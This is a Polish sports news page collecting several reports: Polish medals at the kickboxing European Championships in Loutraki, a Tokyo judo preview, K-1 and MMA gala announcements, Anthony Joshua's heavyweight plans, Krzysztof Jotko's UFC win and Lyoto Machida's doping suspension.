Półfinałową rywalkę znała doskonale. Godzina wygrała z Kristin Vollstad w finale Pucharu Świata w Budapeszcie. Pojedynek o wejście do finału mistrzostw Europy miał zacięty przebieg. Do samego końca Godzina walczyła o zwycięstwo, jednak sędziowie wskazali na Norweżkę. Miesiąc temu w  Mariborze zawodniczka X Fight Piaseczno również odpadła w półfinale i zakończyła rywalizację w light contact na trzecim miejscu. Jak widać, historia lubi się powtarzać. – Swój występ na Mistrzostwach Europy, zarówno w light contact i full contact, oceniam dobrze. Czuję jednak niedosyt, ponieważ w jednym i drugim przypadku moje walki półfinałowe zakończyły się remisem i dopiero wskazanie sędziów decydowało o wygranej. O ile w Mariborze dosyć szybko pogodziłam się z werdyktem, tak w wypadku mojej walki full contactowej z Norweżką uważam, że byłam nieznacznie lepsza i wskazanie powinno być na moją korzyść. Nie rozpaczam, bo na pewno będzie jeszcze okazja do rewanżu. Mam sporo fighterskich planów na przyszły rok – przedstawia nam Dorota Godzina, brązowa medalista mistrzostw Europy w Loutraki.

Trzeba walczyć dalej

W przypadku reprezentantki Polski można mówić o sportowej złości. Godzina w Grecji zaprezentowała się z dobrej strony i dała siebie wszystko, jednak przegrała decyzją sędziów. Ostatecznie Norweżka sięgnęła po złoto, w które celowała zawodniczka X Fight Piaseczno.

Należy podkreślić, że Godzina dopisała kolejny medal do swojego bogatego dorobku. – W kickboxingu startuje już 14 lat i tak się składa, że jestem zawodniczką, która potrafi walczyć z sukcesami w wielu formułach. Lubię bardzo rywalizację i właśnie to ze startuje w różnych formulach walki sprawia ze nie pojawia się nuda i rutyna – wyjaśnia Godzina. –  Oczywiście zdarzają się momenty, że mam dość kickboxingu – dodaje.

Fot. Dorota Godzina Facebook 

KM

16 medali na koncie Polaków

Biało-czerwoni rywalizację w mistrzostwach Europy w kickboxingu w Loutraki zakończyli na piątym miejscu w klasyfikacji medalowej. Najlepsi okazali się Rosjanie, którzy wywalczyli 33 krążki.

Do rozgrywki o medal z najszlachetniejszego kruszcu dotarło ośmioro Polaków. Trzech z nich mogło cieszyć się ze zwycięstwa i tytułu najlepszego zawodnika Europy. Finałowe walki wygrali: Paulina Jarzmik (60kg), Katarzyna Kwiecień (70kg) i Mateusz Niżejewski (63kg), którzy startowali w kick light.

Wśród najlepszych

Po raz kolejny Polska potwierdziła, że należy jej się miejsce w czołówce. Mistrzostwa Europy kick light, full contact i pointfighting przebiegały pod dyktando Rosji, która zdobyła aż 19 złotych krążków. Drudzy Węgrzy zapisali na swoim koncie o 10 medali mniej, a łącznie wywalczyli ich 16. Podium uzupełnili Włosi (27), a tuż za nim Niemcy i Polska (16). Z tym, że nasi zachodni sąsiedzi zajęli czwarte miejsce, bo mieli o jedno srebro więcej.

Co do naszych zawodników, słowa uznania należą się Paulinie Jarzmik. 22-letnia zawodniczka wywalczyła w Loutraki dwa medale. W pointfightingu sięgnęła po brąz. Polka przegrała półfinałową walkę z późniejszą mistrzynią Luisą Gullotti. Za to bezkonkurencyjna okazała się w kick light. W boju o finał Jarzmik wygrała z Turczynką Goknur Yasin Dundar, a w starciu o złoto z Petrą Gremen potwierdziła absolutną dominację. Reprezentantka Polski już w drugiej rundzie mogła cieszyć się z triumfu. W kategorii 70kg triumfowała Katarzyna Kwiecień, która okazała się lepsza od Mariji Bozhinoskiej z Macedonii.

Sukces odniósł Mateusz Niżejewski. Polak mógł być zmęczony po ciężkim półfinale z Marco Filippim. Włoch postawił trudne warunki i był nieustępliwy, Nizejewski zarobił minusowe punkty, ale ostatecznie wygrał. Sanel Ljutić dobrze wspominał rywalizację z Polakiem, którego pokonał podczas Pucharu Świata w Rimini. Teoretycznie miała przewagę psychiczną, ale w Niżejewski zrewanżował się i sięgnął po złoto.

Zawiedziony może być Mateusz Kubiszyn (86kg), który w finale full contact uległ Bojanowi Miskoviciowi. Chorwat to mistrz świata WAKO PRO, jednak Polak rok temu sięgnął w Dublinie po miano najlepszego zawodnika globu i nie miał zamiaru się bać. Misković był liczony, jednak zachował więcej zimnej krwi. Chorwat wyprowadził więcej celnych ciosów, co przeważyło szalę na jego korzyść. W półfinale Aleksander Stawirej (+91kg) wyeliminował mistrza świata Batiaeva. Mistrz Europy juniorów z San Sebastian stanął przed ogromną szansą na sukces. W walce z Ivanem Tkachenko wyglądał dobrze i prowadził, jednak rywal w końcówce postawił wszystko na jedną kartę. Ukrainiec wyprowadził kilka celnych ciosów i wygrał.

Srebro dla Karoliny Dziedzic (70kg) w full contact. W kick light finałowe potyczki przegrali Patryk Kuryłek (57kg) i Piotr Wypchał (94kg). Biało-czerwoni zdobyli również osiem brązowych medali. Na najniższym stopniu podium stanęli: Karolina Mośko (48kg), Dorota Godzina (55kg), Kamil Dajwłowski (71kg), Paweł Strykowski (89kg) – wszyscy full contact oraz Karolina Kubiak (50kg), Wojciech Wiśniewski (79kg) oraz Michał Bławdziewicz (+94kg) i wspomniana Jarzmik.

Mistrzostwa w całości

Najważniejsza liczba to 35. Tyle medali zdobyli Polacy podczas mistrzostw Europy w Mariborze i Loutraki.

Rywalizacja na Słowenii odbyła się w październiku. O medal rywalizowali zawodnicy występujący w formułach K-1, low kick i light contact. Polacy zdobyli 19 medali, w tym siedem złotych. Warto wspomnieć, że w Mariborze tytuł mistrzyni Europy wywalczyła Paulina Jarzmik startująca w light contact. Sukces powtórzyła w Grecji. 

KM

Zaczyna się liczenie medali

Coraz bliżej najważniejszych rozstrzygnięć podczas mistrzostw Europy w kickboxingu w Loutraki. W półfinale full contact doskonale spisał się Aleksander Stawirej (+91kg), który pokonał mistrza świata Andreja Batiaeva.

Zacięte pojedynki, które kończą się dla jednych radością, a dla innych łzami. Celem biało-czerwonych zawsze jest szczyt, jednak niektórzy w starciach półfinałowych musieli przełknąć gorycz porażki.

Koniec na horyzoncie

Patryk Kuryłek (57kg), rywalizujący w kick light, w ćwierćfinale pokonał Włocha Edoardo Tranquillino. Nie obyło się bez krwi. Walka układała się po myśli Polaka, jednak w drugiej rundzie rywal rozbił mu nos. Kuryłek wrócił do zmagań i zrewanżował się Włochowi tym samym w trzeciej odsłonie. Sędzia przerwał walkę. Rozpędzony Kuryłek w półfinale zdominował Artura Rudenko. Ukrainiec nie miał nic do powiedzenia i musiał pogodzić się z porażką. 

W przypadku Pauliny Jarzmik (60kg) można mówić o zmiennym szczęściu. Zawodniczka X Fight Piaseczno w Grecji wystartowała w dwóch formułach: pointfighting oraz kick light. W tej pierwszej wywalczyła brąz, gdyż w półfinale lepsza okazała się Luisa Gullotti. Z kolei w starciu o wejście do finału w kick light Polka spotkała się z Goknur Yasin Dundar. Zawodniczki miały okazję się już spotkać. Podczas zeszłorocznych mistrzostw świata lepsza okazała się Jarzmik, która ponownie udowodniła swoją wyższość.

W kick light awans do finału wywalczyli również: Piotr Wypchał (94kg) i Mateusz Niżejewski (63kg). Zła na sędziów była Dorota Godzina (55kg). Startująca w full contact Polka w półfinale spotkała się z Kristin Vollstad. Norweżka okazała się niewygodną rywalką, jednak Godzina była nieustępliwa i zaprezentowała swoje atuty. Sędziowie wskazali jednak na Vollstad. Powodów do zadowolenia nie ma Karolina Mośko (48kg). W tegorocznych startach odnosiła już sukcesy i niesiona na skrzydłach marzeń robiła wszystko, aby dojść do finału. Na jej drodze stanęła Juliia Goroderskaja.

Jeden mistrz dalej, drugi zatrzymany

Mateusz Kubiszyn (86kg) konsekwentnie idzie do przodu. W ćwierćfinale już w drugiej rundzie rozprawił się z Antonio Garcią Iglesiasem. Mistrz świata w formule full contact z Dublina w półfinale stanął przed trudnym zadaniem. Serdar Yigit Eroglu walczył o zwycięstwo i ani na chwilę nie odpuścił. Do samego końca trwała walka o triumf, jednak więcej sił zachował Kubiszyn. 

Aleksander Stawirej (+91kg) cieszył się się z awansu do półfinału po pokonaniu Hamza Kendircioglu. Następnie na swojej drodze spotkał mistrza świata Andreia Batiaeva. Rosjanin to silny kolos, który mierzy blisko 210 cm. Polak dał radę czempionowi, walczył uważnie i szukał swojej szansy. Znakomite kontry dały mu zwycięstwo.

KM

Japonia na celowniku biało-czerwonych

Wielkimi krokami zbliża się ostatni akord w tegorocznych zmaganiach na tatami. Na początku grudnia w Tokio judocy powalczą w zawodach Jigoro Kano Grand Slam. Wystartuje w nim dwóch Polaków. Z kolei podopieczne Anety Szczepańskiej pracują nad formą w Tokio. 

Biało-czerwone trenują na Uniwersytecie Katsura od środy. W składzie brakuje głównych postaci kadry, które w tym roku wywalczyły złoty medal mistrzostw Europy w Kazaniu.

Kadra rusza na zgrupowanie

Nie ma chwili na odpoczynek. Końcówka sezonu zbliża się wielkimi krokami, jednak Aneta Szczepańska postanowiła zabrać swoje podopieczne do Japonii. Agata Perenc, Julia Kowalczyk, Anna Dąbrowska, Beata Pacut, Paula Kulaga i Anna Załęczna trenują na Uniwersytecie Katsura, gdzie będą przebywać 2 grudnia. Kolejna część zgrupowania odbędzie się w Kodokanu. W Japonii jest również Anna Borowska, ale trenuje w Yamanashi.

Dla naszej kobiecej reprezentacji rok był udany. Zwłaszcza za sprawą wywalczenia mistrzostwa Europy, jednak każda z naszych zawodniczek notowała dobre indywidualne starty. W Japonii brakuje czołowych postaci naszej kadry. Ale wiele judoczek dobrze rokuje na kolejne lata.

Doświadczona Agata Perenc (52kg) to podpora polskiej reprezentacji. Złota medalistka z Kazania zaczęła rok od trzeciego miejsca w Tunisie, a w maju stanęła na najniższym stopniu podium w Grand Prix w Ałmatach. Obiecująco wygląda Julia Kowalczyk (57kg). 19-latka drugi rok z rzędu wywalczyła brąz mistrzostw Europy juniorów. Z kolei Beata Pacut (78kg) zwyciężyła w Pucharze Europy w Warszawie. Pod okiem trener Szczepańskiej nasze kadrowiczki zrobiły ogromne postępy. Liczymy, że japońskie treningi posłużą młodym zawodniczkom i w następnym roku będą notowały udane występy.

Japoński finał

Już 2 grudnia start Grand Slam w Tokio, turniej potrwa do 4 grudnia. Zawody to prawdziwe wyzwanie i sprawdzian umiejętności. Do Japonii zjeżdżają się czołowi zawodnicy świata, którzy podsumują sezon. Grand Slam w Tokio to także oddanie czci i upamiętnienie twórcy judo Jigoro Kano. 

W ostatnim czasie Polacy nie mają miłych wspomnień z japońskiego turnieju. Rok temu Damian Szwarnowiecki stoczył trzy walki. Na drodze Polaka stanął Hiroyuki Akimoto, który zwyciężył rywalizację w kategorii 73kg. Dwa lata temu nasi reprezentanci wygrali zaledwie dwa pojedynki. O sukcesie możemy mówić w przypadku turnieju z 2013 roku. Wtedy 7. miejsce wywalczył Jakub Zarzeczny.

W tym roku o sukces w Tokio powalczą Damian Szwarnowiecki (81kg) i Piotr Kuczera (90kg). 22-latek na jesieni zaczął startować w kategorii 81kg, wcześniej w 73kg. Zmiana wyszła mu na dobre. Dwa występy i dwa razy trzecie miejsce. W tym roku Szwarnowiecki odniósł największy sukces w karierze. Wygrał kwietniowe zawody Grand Prix w Samsun. Zaimponował również Piotr Kuczera. 21-latek z Rybnika wywalczył brązowy medal podczas mistrzostw Europy w Kazaniu.

Do wojska

W najbliższych dniach świat judo będzie kręcił się wokół Japonii, jednak nie tylko. 9 grudnia rozpocznie się rywalizacja w mistrzostwach świata wojskowych, które odbędą się w Szwajcarii. 

Po kolejny medal pojedzie Daria Pogorzelec (78kg). Uczestniczka Igrzysk Olimpijskich w Rio de Janeiro trzy lata temu zdobyła brąz. Pogorzelec wraca do rywalizacji po kontuzji kolana. W Szwajcarii zaprezentują się również: Agata Ozdoba, Kinga Kubicka, Karolina Tałach, Arleta Podolak i Łukasz Błach.

KM

LIVE: XVIII Warszawska Granda

Zapraszamy na transmisje telewizyjna na żywo z XVIII Warszawskiej Grandy. Organizatorzy zaplanowali ok. 25 pojedynków w formule K-1.

[kod]

XVIII Warszawska Granda

XVIII Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro_LFC.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro_LFC.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro_LFC.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro_LFC.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Gala Ladies Fight Night już 17 grudnia. Poznaliśmy wreszcie miejsce!

Urodzinowa gala Ladies Fight Night odbędzie pod Śnieżką! Już za niespełna miesiąc, 17 grudnia, w Karpaczu odbędzie się czwarta gala Ladies Fight Night „Fortuna Dies Natalis”. Włodarze pierwszej w Europie żeńskiej organizacji sportów walki zapraszają fanów MMA i K-1 do wspólnego świętowania jubileuszu organizacji w wyjątkowych okolicznościach przyrody, u podnóża najwyższego szczytu Karkonoszy! Rejestracja na wydarzenie ruszyła.

Pierwsza w Europie żeńska organizacja sportów walki Ladies Fight Night w grudniu obchodzić będzie rocznicę powstania. Z tej okazji – 17 grudnia – odbędzie się urodzinowa gala LFN ”Fortuna Dies Natalis”. Tym razem włodarze federacji na miejsce gali wybrali wyjątkowy obiekt Hotel Gołębiewski w Karpaczu, położony na wysokości około 800 m n.p.m. u podnóża najwyższego szczytu gór Karkonoszy – Śnieżki.

Zależało nam, żeby pierwsze urodziny organizacji obchodzić z pompą. To był bardzo pracowity rok dla całej federacji. Zorganizowaliśmy trzy, bardzo udane gale, z których kolejne cieszyły się coraz większym zainteresowaniem fanów kobiecego MMA i K-1. Przykładamy dużą wagę do wysokiego poziomu sportowego i organizacyjnego naszych imprez i gala Ladies Fight Night „Fortuna Dies Natalis” w Karpaczu będzie tego najlepszym przykładem.

mówi Łukasz Chmal, prezes Ladies Fight Night.

Podczas grudniowej gali LFN zobaczymy 10 pojedynków w formule MMA i K-1. W klatkoringu pojawią się młode, utalentowane zawodniczki z Polski i zagranicy. Nie zabraknie takich nazwisk jak Patrycja Krawczyk, Monika Bohn, Weronika Zygmunt, Katarzyna Biegajło, Martyna Czech, Katarzyna Sadura i Annisa Haddaoui. Fani MMA zacierają ręce na walkę wieczoru, w której wystąpi jedna z najbardziej utalentowanych młodych zawodniczek MMA, Agnieszka Niedźwiedź.

Gala Ladies Fight Night „Fortuna Dies Natalis” podobnie jak poprzednie imprezy organizacji będzie bezpłatna. Atrakcji nie zabraknie. Wiadomo już, że muzyczną gwiazdą wieczoru będzie znany raper Sobota. Zaproszenia na galę można zdobyć rejestrując się na stronie internetowej www.lfn.com.pl lub pod adresem email: zaproszenia@rezerwacja.lfn.com.pl. Ilość wejściówek jest ograniczona.

Informacja prasowa

Do Grecji nie na wakacje

Kolejna odsłona zmagań o medale mistrzostw Europy w kickboxingu. Tym razem w Grecji, gdzie o tytuły powalczą startujący w formułach pointfighting, full contact i light contact.

Biało-czerwoni udali się do Loutraki ze sporymi nadziejami. Wśród naszych kadrowiczów nie brakuje zawodników, którzy sięgali już po najwyższe laury.

Tytuły w zasięgu ręki

W październiku Polacy walczyli o medale w mistrzostwach Europy w Mariborze i zdobyli 19 medali, w tym siedem złotych. Zawodnicy rywalizowali w formułach K-1, low kick i light contact. Niektórzy ponownie zaprezentują się w Grecji, tak jak Paulina Jarzmik (60kg), która wystartuje w kick light. Zawodniczka X Fight Piaseczno ma na koncie złoto w light contact podczas zmagań w Mariborze. Dwa lata temu Jarzmik wystąpiła na czempionacie Starego Kontynentu, który również odbywał się w słoweńskim mieście. Rywalizowała wtedy w pointfightingu i okazała się bezkonkurencyjna. 

Rok temu na salony wszedł Mateusz Kubiszyn (86kg), który na mistrzostwach świata w Dublinie sięgnął po złoto w full contact. Akcje zawodnika Kickboxing Game Over Lubaczów stoją wysoko. Kubiszyn ma okazję potwierdzić, że wygrana w finałowym starciu z mocnym Rosjaninem Igorem Kopylovem nie była dziełem przypadku. W Grecji w full contact wystartują także Dorota Godzina (55kg) i Robert Krasoń (75kg). Doświadczona zawodniczka X Fight Piaseczno to wielokrotna medalistka mistrzostw Polski, która z sukcesami występuje na arenie międzynarodowej oraz w walkach zawodowych. Miesiąc temu w Mariborze sięgnęła po brąz w light contact. Z kolei Krasoń to wicemistrz świata z Dublina.

Niezwykle mocna jest nasza kadra w kick light. Podczas ostatnich mistrzostw świata biało-czerwoni wygrali klasyfikację medalową. W Grecji o powtórzenie sukces postarają się m.in. Piotr Wypchał (94kg) i Michał Bławdziewicz (+94kg).

Zaledwie pięć osób liczy kadra w pointfightingu. O medale powalczą Malwina Strzelecka (55kg), wspomniana już Paulina Jarzmik, Tomasz Kurzeja (74kg), doświadczony Piotr Maślanka (79kg) i Rafał Adamczyk (84kg).

Zatrzymać świat

Polacy będą jedną z najliczniej reprezentowanych nacji podczas mistrzostw Europy. Łącznie do udziału w imprezie zgłoszono 480 zawodników.

Najliczniejszą reprezentacją jest Turcja, która wydelegowała do rywalizacji 49 fighterów. O czterech mniej liczy kadra Grecji. 39 nazwisk znalazło się w reprezentacji Rosji, o dwa mniej wśród Włochów. Polaków do Grecji wybrało się 33. Po jednym zawodniku zgłosiły Kosowo i Estonia.

Kadra Polski full contact: Karolina Mośko (48kg), Dorota Godzina (55kg), Agata Piechowicz (60kg), Emilia Czerwińska (65kg), Karolina Dziedzic (70kg), Robert Niedźwiedzki (57kh), Michał Pomieciński (60kg), Jakub Pokusa (67kg), Kamil Dajwłowski (71kg), Robert Krasoń (75kg), Tomasz Borowiec (81kg), Mateusz Kubiszyn (86kg), Paweł Strykowski (91kg), +91kg Aleksander Stawirej (+91kg)

Kadra Polski kick light: Karolina Kubiak (50kg), Klara Kleczkowska (55kg), Paulina Jarzmik (60kg), Monika Kędzierska (65kg), Katarzyna Kwiecień (70kg.), +Natalia Panas (+70kg), Patryk Kuryłek (57kg), Mateusz Niżejewski (63kg), Roger Garbaczewski (69kg), Jerzy Wroński (74kg), Wojciech Wiśniewski (79kg), Mikołaj Krause (84kg), Michał Grzesiak (89kg), Piotr Wypchał (94kg), Michał Bławdziewicz (+94kg).

KM

Gorące walki w przyszłym roku?

Eddie Hearn robi wszystko, żeby Anthony Joshua stał się pierwszoplanową wagi ciężkiej. W przyszłym roku ma spotkać się z dwoma potężnymi nazwiskami wagi ciężkiej, czyli Władimirem Kliczko i Deontayem Wilderem, a po nich ma zacząć się era brytyjskiej dominacji w kategorii królewskiej.

Anthony Joshua robi błyskawiczną karierę, co w dużej mierze jest zasługą jego ogromnych umiejętności. Mistrza świata IBF czekają kolejne wyzwania, jednak na obecną chwilę do konkretów daleko.

Wprowadzić porządek

Waga ciężka od zawsze cieszyła się ogromnym prestiżem i poważaniem. O miano mistrza rywalizowali wielcy pięściarze, którzy przechodzili do historii. W ostatnich latach należy wymienić Evandera Holyfiedla, Mike'a Tysona, Lennoxa Lewisa, Witalija Kliczko, Chrisa Byrda czy Roya Jonesa Jr. 

Nadszedł czas przetasowań i zmian. W listopadzie ubiegłego roku z tronu został zepchnięty Władimir Kliczko, którego zastąpił Tyson Fury. Brytyjczyk nie wytrzymał presji i popadł w uzależnienie od używek. Fury zrzekł się pasów WBO i WBA. Czempionami wagi ciężkiej pozostają Deontay Wilder (WBC), który po latach posuchy przywrócił amerykańskim fanom radość z boksu oraz Anthony Joshua (IBF). Ten ostatni kreowany jest na przyszłość boksu i wielką gwiazdę. 

Szedł jak burza i kładł na deski kolejnych rywali. Poważnie zaczęto go traktować, gdy powalił mocnego Kevina Johnsona. Pokonywał kolejnych groźnych rywali na krajowym podwórku aż dostał szansę walki o pas mistrzowski IBF. Charles Martin tańczył po kolejnych ciosach 27-latka i padł w drugiej rundzie. Mistrz olimpijski z Londynu triumfował. W czerwcu pokonał Dominica Breazeale'a w pierwszej obronie tytułu. Wszystkie dotychczasowe walki Joshua wygrał przed czasem, a stoczył ich siedemnaście.

Kolejnym wyzwaniem 27-latka będzie Eric Molina. Pojedynek odbędzie się 10 grudnia w Manchesterze. 34-letni Molina ostatnio pokonał Tomasza Adamka. Półtora roku temu rywalizował o pas WBC, jednak potężna dłoń Deontaya Wildera powstrzymała jego zapędy. Faworytem jest Joshua, którego kalendarza przyszłorocznych walk może wyglądać ciekawie, choć wszystko jest jeszcze niewiadomą.

Mistrzowskie testy

O interesy Joshuy dba Eddie Hearn. Promotor brytyjskiego mistrza świata ma ambitne plany. W przyszłym roku planuje zorganizować walkę Joshuy z Władimirem Kliczko. Młodość i przebojowość kontra doświadczenie i pewność siebie. Spotkanie dwóch epok miałoby odbyć się w kwietniu. W przypadku wygranej Joshua stanąłby przed kolejnym wyzwaniem. W sierpniu na szali miałby pojawić się pas WBC należący do Wildera.

Tyle plany, zobaczymy co przyniesie przyszłość. Wiadomo, że dla Joshuy rywalizacja z ikoną boksu byłaby ogromnym wyzwaniem. 27-latek miałby okazję porównać się z legendą. Gorące byłoby starcie Brytyjczyka z Wilderem. Obaj mają potężne ciosy i kładą na deski kolejnych rywali. Któryś z nich musiałby przegrać, więc tym samym nie byłby już niepokonany. Starcie brytyjsko-amerykańskie dostarczyłoby wielu emocji.

KM

Jotko zgłosił akces do walki o pas

Krzysztof Jotko zapowiadał, że jego celem jest pas mistrza UFC w wadze średniej. Zapędy Polaka miał powstrzymać Tahles Leites podczas gali w Sao Paulo. 35-latek okazał się bezradny wobec dobrze dysponowanego Polaka.

Jotko świetnie odnalazł się w najlepszej organizacji MMA na świecie i z walki na walkę wygląda coraz lepiej. Niewykluczone, że niebawem 27-latek dostanie szansę rywalizacji o pas mistrzowski. Wykonał kolejny krok w kierunku tytułu. Michael Bisping powinien bliżej przyjrzeć się polskiemu fighterowi.

Rywal nie rozwinął skrzydeł

Gala UFC Fight Night 100 w Sao Paulo będzie miłym wspomnieniem dla polskich fanów MMA. Krzysztof Jotko spotkał się z Thalesem Leitesem, który otrzymał ogromne wsparcie z trybun. Polak nie pozwolił rozwinąć Brazylijczykowi skrzydeł, choć ten co rusz próbował sprowadzić walkę do parteru. 27-latek walczył uważnie, skutecznie i punktował Leitesa.

O tym, że 35-letni Brazylijczyk to poważna marka najlepiej świadczy pojedynek z Michaelem Bispingiem. Leites walczył jak równy z równym z obecnym mistrzem wagi średniej. Przegrał po pięciu rundach niejednogłośną decyzją sędziów. W tym roku Brazylijczyk zanotował porażkę w starciu z mocnym Gegardem Mousasim, który w nocy z soboty na niedzielę w Belfaście uporał się w pierwszej rundzie Uriahem Hallem i odniósł 41. zwycięstwo w karierze. Wracając do Leitesa, Brazylijczyk w sierpniu zaprezentował się na gali UFC Fight Night 92. W trzeciej rundzie zmusił do poddania Chrissa Camozziego, czym pozwolił mu odbudować się. 35-latek jest niezwykle groźny w parterze. Aż 15 razy wygrał przez poddanie, łącznie zanotował 26 zwycięstw.

Jotko zdawał sobie sprawę z atutów rywala. Polski figher zaczął aktywnie, jednak Brazylijczyk szybko ruszył pod siatkę i szukał obalenia. Jotko był ruchliwy, co utrudniało zadanie rywalowi. Leites nic nie wywalczył, sędzia nakazał powrót na środek. W końcu 35-latek dopiął swego i walka przeniosła się na ziemię. Jotko poradził sobie z naporem rywala, znalazł się z góry, co przemawiało na jego korzyść. Drugie starcie miało podobny przebieg. Leites szukał obalenia, a Jotko słał w stronę rywala kolejne kopnięcia. Po jednym z nich walka przeniosła się do parteru, gdzie Polak mógł zdobyć przewagę. Pod koniec rundy 27-latek ponownie zapisał na swoim koncie obalenie. Brazylijczyk miał świadomość, że przewagę ma Jotko i w trzeciej rundzie próbował odwrócić losy rywalizacji. Nie potrafił znaleźć recepty na Polaka, choć udało mu się zapiąć duszenie gilotynowe, ale nie wyrządził krzywdy naszemu zawodnikowi. Do końca starcia Jotko zadał jeszcze kilka ciosów. Sędziowie byli jednomyślni – 29:27, 30:27, 30:27 na korzyści Polaka.

Mocna pozycja

Jotko debiutował w UFC w grudniu 2013 roku walką z Bruno Santosem. Przygodę z amerykańską organizacją rozpoczął od zwycięstwa, jednak w kolejnej walce lepszy okazał się Magnues Cedenblad. Dodatkowo przyplątała się kontuzja lewej ręki, co uniemożliwiło start zawodnika na gali UFC w Krakowie.

Do oktagonu Jotko wrócił w październiku 2014 roku. Od tego czasu stoczył pięć walk i wszystkie wygrał. Akcje Polaka idą w górę, zwłaszcza po efektownym pojedynku z Tamdanem McCrory'm. Jotko odesłał rywala do domu zaledwie po minucie rywalizacji. W Sao Paulo pokonał doświadczonego i mocnego Brazylijczyka, czym potwierdził wysoki poziom. Śmiało mówi o walce o pas. Nie są to słowa rzucane na wiatr, co Jotko potwierdza równą formą. Doświadczony Bisping musi liczyć się z tym, że młody i głodny polski wilk jest żądny tytułu. 

KM

Jankowski vs Kazieczko na otwarcie gali FEN 15 Final Strike

Starciem utytułowanego weterana ze wschodzącą gwiazdą polskiego K-1 można nazwać walkę Eliasza Jankowskiego z Wojciechem Kazieczko, od której 14 stycznia rozpocznie się gala FEN 15 Final Strike w lubińskiej hali RCS. Dla obu zawodników walka zakontraktowana w kategorii do 67 kg będzie debiutem w organizacji Fight Exclusive Night.

31-letni Eliasz Jankowski jest bez wątpienia jednym z najbardziej utytułowanych i doświadczonych polskich kickbokserów. Lista sukcesów legnickiego wojownika jest długa i imponująca – są na niej m.in. tytuły zawodowego mistrza świata w K-1 Global, zawodowego mistrza świata organizacji WKN i wicemistrza Europy federacji WAKO, a także Puchar Świata WAKO w K-1. Na zawodowych arenach „Jankes” stoczył dotychczas 22 walki, z których aż 16 wygrał (5 zwycięstw przed czasem). Reprezentant Prych Team Legnica/TKKF Olimp Legnica karierę sportową łączy ze służbą wojskową – jest zawodowym żołnierzem w 10. Brygadzie Kawalerii Pancernej w Świętoszowie.

19-letni Wojciech Kazieczko to z kolei jeden z najbardziej obiecujących polskich kickbokserów młodego pokolenia. Do największych jego osiągnięć należą tytuły mistrza Polski juniorów w formułach kick light, full contact i K-1 oraz zdobyty w ubiegłym roku srebrny medal mistrzostw Europy juniorów w K-1 Rules. Zawodnik Funfit Boxing Team Zielona Góra znakomicie spisał się także na seniorskich mistrzostwach Polski w K-1 Rules w czerwcu tego roku – wywalczył tytuł wicemistrzowski, w drodze do finału nokautując wszystkich rywali. Wychowanek duetu trenerskiego Jakub Kozera – Patryk Proszek ma na swoim koncie dwie zawodowe walki – oba pojedynki pewnie wygrał, pierwszy z nich przez nokaut, drugi na punkty.

Oprócz starcia Eliasza Jankowskiego z Wojciechem Kazieczko na gali FEN 15 Final Strike kibiców czekają także m.in. walki o pasy mistrzowskie w formule K-1 z udziałem Pawła Biszczaka, Wojciecha Wierzbickiego i Róży  Gumiennej oraz pojedynki MMA, w których wystąpią m.in. Marcin Zontek, Michał Michalski, Adam Golonkiewicz, Mateusz Głąb i Michał Miłek.

Bilety na styczniową galę FEN 15 w Lubinie można już kupować w serwisach Eventim.pl i KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Machida zawieszony!

Lyoto Machidę czeka dłuższa przerwa od występów w oktagonie. Wszystko przez stosowanie niedozwolonych środków, które w organizmie Brazylijczyka wykryto podczas kwietniowego badania. 38-latek został zawieszony na 18 miesięcy.

Suplement 7-Keto zawierający dehydroepiandrosteron znajduje się na liście środków zakazanych przez Amerykańską Agencję Dopingową. Umieszczono ją w gronie niedozwolonych wraz z początkiem roku.

Przyznał się do winy

Doping rzuca się na sport, w tym mieszane sztuki walki. Niedozwolone środki są zmorą rywalizacji sportowej. Dają nieograniczone możliwości, wytrzymałość i pozwalają osiągać sukcesy, ale wszystko trwa do czasu. Z drugiej strony warto pamiętać, że listy środków zakazanych są aktualizowane, co umyka niektórym zawodnikom. Jeszcze w ubiegłym roku można było stosować melodonium, które w maju postawiło pod znakiem zapytania wyjazd zapaśnika Magomedmurada Gadżyjewa na igrzyskach olimpijskich w Rio de Janeiro. W organizmie reprezentanta Polski wykryto śladowe ilości substancji. Polski Związek Zapaśniczy stoczył walkę o mistrza Europy, który ostatecznie do Brazylii pojechał. Głośny był również przypadek tenisistki Marii Szarapowej.

Do niedawna można było również stosować dehydroepiandrosteron, jednak wraz z początkiem roku USADA wpisała specyfik na listę środków zakazanych. Suplement 7-Keto zawierający wspomnianą substancję stał się źródłem kłopotów Lyoto Machidy. Brazylijski fighter MMA stosował niedozwolony środek, do czego przyznał się przed kwietniową galą UFC on FOX 19. Walka 38-latka z Danem Hendersonem została odwołana. Brazylijczyk nie uciekał od odpowiedzialności i przyznał, że jest gotowy ponieść konsekwencje. Przepraszał fanów za zaistniałą substancję. Ponadto, zapewniał, że nie wiedział o zakazie stosowania suplementu. 

Były mistrz UFC w wadze półciężkiej musi ponieść konsekwencje – tak zadecydowała USADA. Agencja zawiesiła Brazylijczyka na 18 miesięcy. Warto podkreślić, że kara obowiązuje od 8 kwietnia, kiedy pobrano próbkę do badania. Zatem Machida musi odcierpieć jeszcze rok.

Z pewnością Brazylijczyk będzie chciał wrócić i udowodnić swoją wartość. Z Hendersonem miał się zrehabilitować za nieudane występy w 2015 roku, kiedy poniósł dwie porażki. 

Nie pierwszy, nie ostatni

Machida to doświadczony i utytułowany fighter. Brazylijczyk wygrał 22 walki w UFC, a w 2009 roku wywalczył tytuł w kategorii półciężkiej. Przez lata był w czołówce amerykańskiej organizacji. Dwa lata temu ponownie walczył o pas, jednak przegrał z Chrisem Weidmanem.

Praktycznie cały czas w MMA pojawiają się doniesienia o aferach dopingowych. Przez stosowanie zakazanych środków w problemy wpadł Jon Jones. 29-latek uchodził za gwiazdę UFC, dzierżył pas wagi półciężkiej i miał przed sobą otwarte drzwi do sukcesu. W 2015 roku u Amerykanina wykryto jeden z metabolitów kokainy. Wrócił do gry, ale w lipcu nie przystąpił do walki z Danielem Cormierem. Ponownie w tle pojawiły się problemy z dopingiem.

